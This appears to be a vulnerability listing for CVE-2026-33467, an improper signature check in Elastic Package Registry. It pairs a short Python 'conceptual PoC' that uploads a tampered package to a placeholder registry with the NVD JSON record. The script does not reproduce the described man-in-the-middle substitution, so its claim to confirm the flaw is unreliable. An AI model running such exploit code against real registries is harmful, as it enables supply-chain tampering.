CVE-2026-33467

import requests # Conceptual PoC for CVE-2026-33467 # This script simulates a Man-in-the-Middle (MitM) scenario where a package is tampered with. # Due to the improper signature verification, the registry accepts the tampered package. target_registry_url = "http://target-registry:8080/packages/example-package-1.0.zip" malicious_package_path = "./malicious_package.zip" def upload_tampered_package(): headers = { "User-Agent": "Elastic-Package-Registry/1.0" } # In a real exploitation scenario, the attacker would intercept the traffic # or modify the source served to the self-hosted registry. files = { 'file': open(malicious_package_path, 'rb') } # Attempt to upload/push the tampered package response = requests.post(target_registry_url, headers=headers, files=files) if response.status_code == 200: print("[+] Tampered package accepted by the registry!") print("[+] Vulnerability CVE-2026-33467 confirmed.") else: print("[-] Upload failed or rejected.") if __name__ == "__main__": upload_tampered_package()

{"cve": {"id": "CVE-2026-33467", "sourceIdentifier": "[email protected]", "published": "2026-04-28T22:16:48.823", "lastModified": "2026-05-05T17:55:21.490", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Verification of Cryptographic Signature (CWE-347) in Elastic Package Registry could allow an attacker positioned to intercept network traffic, or to otherwise influence the contents served to a self-hosted registry, to substitute a tampered package without the integrity check failing closed."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N", "baseScore": 5.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-347"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elastic:elastic_package_registry:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.38.0", "matchCriteriaId": "DCA1EBA8-B5AF-4AC8-A740-8E13E702B0ED"}]}]}], "references": [{"url": "https://discuss.elastic.co/t/elastic-package-registry-1-38-0-security-update-esa-2026-27/386081", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}